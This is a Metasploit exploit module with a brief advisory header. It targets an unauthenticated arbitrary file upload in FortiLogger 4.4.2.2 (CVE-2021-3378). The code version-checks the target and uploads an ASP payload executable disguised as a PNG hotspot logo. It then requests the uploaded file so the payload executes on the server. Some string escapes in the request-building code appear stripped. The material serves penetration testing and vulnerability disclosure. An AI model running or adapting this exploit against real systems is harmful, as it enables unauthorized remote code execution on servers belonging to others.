Authored by Berkan Er | Site metasploit.com

This Metasploit module exploits an unauthenticated arbitrary file upload via an insecure POST request to Fortilogger. It has been tested on version 4.4.2.2 in Windows 10 Enterprise.

advisories | CVE-2021-3378

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::EXE
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'FortiLogger Arbitrary File Upload Exploit',
'Description' => %q{
This module exploits an unauthenticated arbitrary file upload
via insecure POST request. It has been tested on version 4.4.2.2 in
Windows 10 Enterprise.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Berkan Er <[email protected]>' # Vulnerability discovery, PoC and Metasploit module
],
'References' =>
[
['CVE', '2021-3378'],
['URL', 'https://erberkan.github.io/2021/cve-2021-3378/']
],

'Platform' => ['win'],
'Privileged' => false,
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
[
'FortiLogger - 4.4.2.2',
{
'Platform' => 'win'
}
],
],
'DisclosureDate' => '2021-02-26',
'DefaultTarget' => 0
)
)

register_options(
[
Opt::RPORT(5000),
OptString.new('TARGETURI', [true, 'The base path to the FortiLogger', '/'])
], self.class
)
end

def check_product_info
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/shared/GetProductInfo'),
'method' => 'POST',
'data' => '',
'headers' => {
'Accept' => 'application/json, text/javascript, */*; q=0.01',
'Accept-Language' => 'en-US,en;q=0.5',
'Accept-Encoding' => 'gzip, deflate',
'X-Requested-With' => 'XMLHttpRequest'
}
)

return res
end

def check
begin
res = check_product_info
if res && res.code == 200
if JSON.parse(res.body)['Version'] == '4.4.2.2'
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
end
end

def create_payload
Msf::Util::EXE.to_exe_asp(generate_payload_exe).to_s
end

def exploit
begin
print_good('Generate Payload !')
data = create_payload

boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(rand(10) + 5)}"
post_data = "--#{boundary}rn"
post_data << "Content-Disposition: form-data; name="file"; filename="b3r.asp"rn"
post_data << "Content-Type: image/pngrn"
post_data << "rn#{data}rn"
post_data << "--#{boundary}rn"

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/Config/SaveUploadedHotspotLogoFile'),
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => post_data,
'headers' => {
'Accept' => 'application/json',
'Accept-Language' => 'en-US,en;q=0.5',
'X-Requested-With' => 'XMLHttpRequest'
}
)
if res && res.code == 200
if JSON.parse(res.body)['Message'] == 'Error in saving file'
print_error('Error for upload payload..')
else
print_good('Payload has been uploaded !')

handler

print_status('Executing payload...')
send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/Assets/temp/hotspot/img/logohotspot.asp'),
'method' => 'GET'
}, 5)
end
end
end
end
end